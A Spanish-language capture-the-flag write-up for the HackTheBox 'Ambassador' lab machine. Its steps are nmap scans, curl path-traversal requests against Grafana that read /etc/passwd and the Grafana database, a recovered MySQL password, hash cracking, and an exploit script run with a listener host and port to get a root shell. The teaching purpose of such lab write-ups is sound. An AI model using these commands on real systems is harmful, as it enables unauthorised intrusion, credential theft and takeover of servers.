Ambassador - HackTheBox

The hack the box ambassador is a medium-level Linux Web Exploitation machine that has a few CVEs.

Summary

  • IP: 10.10.11.183
  • Ports: 22,80,3000,3306
  • OS: Linux (Ubuntu)
  • Services & Applications:
    • 22 -> OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
    • 80 -> Apache httpd 2.4.41
    • 3000 -> ppp?
    • 3306 -> MySQL 8.0.30-0ubuntu0.20.04.2

Recon

  • Reconocimiento básico de puertos:
$sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.10.116.216 -oG allPorts
  • Reconocimiento profundo de puertos encontrados:
$sudo nmap -p22,80,3000,3306 -sCV 10.10.116.216 -oN targeted
  • Búsqueda de directorios, pero no encontramos nada interesante; analizamos la web y tampoco hay nada relevante.
  • Analizamos la web en el puerto 3000 y vemos un login de “Grafana”, buscamos vulnerabilidades y encontramos una script en python la cual permite un LFI, analizamos el código y ejecutamos mediante un curl la parte que nos permite ejecutar el LFI:
$curl -s --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd | grep sh
  • Confirmamos el LFI y hacemos una búsqueda básica de posibles vectores de ataque; intentamos descargar la base de datos que está por detrás de grafana usando el siguiente recurso:
$curl -s --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
  • Abrimos el archivo “.db” con “sqlitebrowser” y analizamos la base de datos; vemos una tabla llamada “data-source”, le hacemos un “table browse” y encontramos el usuario y contraseña para acceder a la base de datos de “grafana”, lo hacemos:
$mysql -h10.10.11.183 -ugrafana -pdontStandSoCloseToMe63221!
  • Buscamos información relevante:
show databes;
use whackywidget;
show tables;
select * from users;
  • Encontramos el usuario “developer” con un hash, lo crackeamos en www.hashes.com y accedemos por SSH como “developer”, y encontramos la primera flag.

ESCALANDO PRIVILEGIOS:

  • Haciendo una búsqueda típica, no encontramos nada que pueda usarse para escalar privilegios, así que buscamos de forma más rigurosa.

  • En el directorio “/opt” encontramos una posible aplicación desarrollada en git llamada “my-app”, entramos y buscamos archivos ocultos.

  • Vemos un “.git” por lo que confirmamos que se trata de un desarrollo para github, ejecutamos el comando siguiente para verificar el log:

git log
  • Vemos varios commits, analizamos el primero con:
git show 33a53ef9a207976d5ceceddc41a199558843bf3c
$ python3 exploit.py --lhost 10.10.14.30 --lport 443 --token bb03b43b-1d81-d62b-24b5-39540ee469b5
  • Accedemos a una shell como root y vemos la última flag.